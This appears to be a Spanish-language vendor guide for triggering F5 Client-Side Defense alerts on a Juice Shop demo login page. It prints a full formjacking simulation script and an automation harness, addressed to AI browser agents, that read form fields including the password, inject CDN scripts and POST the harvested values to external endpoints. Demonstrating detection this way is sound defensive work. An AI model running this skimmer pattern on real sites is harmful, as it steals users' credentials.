- Inicio
- Defensa del lado del cliente
- Detección de disparadores
Detección de disparadores
Detección de disparadores
Sección titulada «Detección de disparadores»CSD monitorea el comportamiento de JavaScript dentro del navegador. A diferencia del Firewall de aplicaciones web (WAF) o la Defensa Bot, no es posible activar la detección de CSD con comandos curl — requiere actividad real de scripts en el lado del cliente. El siguiente script combinado activa las tres señales de detección de CSD en una sola ejecución: recolección de campos de formulario, inyección de scripts de terceros desde múltiples dominios CDN y exfiltración de datos a endpoints externos.
Ejecutar el script de simulación combinada
Sección titulada «Ejecutar el script de simulación combinada»-
Navegue a la página de inicio de sesión de Juice Shop en
https://botdemo.sales-demo.f5demos.com/#/login -
Ingrese credenciales ficticias en los campos del formulario — escriba
test@example.comen el campo Email yP@ssword123en el campo Password (no envíe el formulario) -
Abra DevTools (F12 → pestaña Console)


-
Pegue el siguiente script en la consola y presione Enter — se ejecuta automáticamente como una función autoejecutada
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
Observe la salida de consola por fases
[CSD Demo]que confirma cada paso: recolección de campos, inyección de scripts desde 4 dominios CDN y exfiltración de datos.esm.shsirve sintaxis de módulo ES (export default …) — cuando se carga como una etiqueta<script>clásica, esto provocaUncaught SyntaxError: Cannot use import statement outside a module. Esto es esperado y no afecta la detección de CSD (la etiqueta del script sigue siendo inyectada y la solicitud de red sigue realizándose)

Ejecución automatizada con IA
Sección titulada «Ejecución automatizada con IA»Los asistentes de IA con herramientas de automatización de navegador (MCP Chrome DevTools, Playwright, Puppeteer) ejecutan la simulación de forma programática en lugar de seguir los pasos manuales anteriores:
- Navegar con initScript — primero navegue a
about:blankpara garantizar un contexto de documento limpio, luego usenavigate_pagea la URL de la página de inicio de sesión (p. ej.,http://$F5XC_DOMAINNAME/#/login) con uninitScriptque guarde los nativossetInterval,clearInterval,fetchyconsole.logantes de que zone.js los parchee, sondee los campos del formulario de inicio de sesión, rellene las credenciales mediante el setter nativo deHTMLInputElement.prototype.valuey ejecute el Script de Detección Combinada en línea de inmediato. Utilice el initScript literal a continuación. - Cerrar el banner de bienvenida — use
press_keyconEscapepara cerrar el banner de bienvenida. En visitas posteriores, el banner puede no aparecer (cookies persistidas) - Esperar la finalización — espere 10 segundos para que se completen todas las devoluciones de llamada de carga/error de scripts CDN y las resoluciones de promesas de fetch
- Capturar evidencia — use
list_console_messagespara verificar[CSD Demo] Simulation complete;list_network_requestsfiltrado por tiposscriptyfetchpara verificar los códigos de estado HTTP
Arnés initScript (literal — envuelve el Script de Detección Combinada para ejecución automatizada):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Nota sobre fetch nativo: Este arnés guarda window.fetch.bind(window) para evitar errores de zone.js. Este es el comportamiento correcto para todas las fases de simulación de ataques. La mitigación de CSD bloquea la carga de scripts (limpiando los valores src de las etiquetas <script>), no las llamadas a fetch(), por lo que guardar la referencia nativa de fetch no afecta el comportamiento de mitigación. El mismo initScript se utiliza para la Fase 2 y la Fase 3.
Los operadores sin herramientas de automatización de navegador deben seguir los pasos manuales anteriores.
Qué hace el script
Sección titulada «Qué hace el script»La simulación combinada activa las tres señales de detección de CSD:
| Comportamiento | Qué hace el script | Qué detecta CSD |
|---|---|---|
| Recolección de campos | Lee los valores de los elementos input existentes (email, contraseña) | Scripts que leen campos de formulario sensibles — marcados como Alto Riesgo |
| Inyección de scripts | Agrega 4 etiquetas <script> que cargan desde cdn.jsdelivr.net, esm.sh, unpkg.com y ga.jspm.io | 4 nuevos dominios de scripts de terceros en la página |
| Exfiltración de datos | Envía los datos recolectados mediante fetch a www.httpbin.org y jsonplaceholder.typicode.com | Llamadas de red a dominios externos (nota: los destinos de fetch aparecen como interacciones de red de scripts, no en la vista de dominio de Red) |
Simulaciones avanzadas
Sección titulada «Simulaciones avanzadas»El script combinado anterior es una versión simplificada de 3 fases (recolectar, inyectar, exfiltrar) adecuada para la mayoría de las demostraciones. La Biblioteca de scripts de ataque proporciona 10 scripts específicos organizados por tipo de ataque, incluida una prueba de estrés de Detección máxima que agrega manipulación del DOM, exfiltración de cookies y canales de beacon de imagen además de la cobertura del script combinado. Use los scripts individuales para demostrar categorías de ataque específicas (formjacking, skimming digital, inyección en la cadena de suministro, exfiltración de datos, manipulación del DOM) de forma aislada.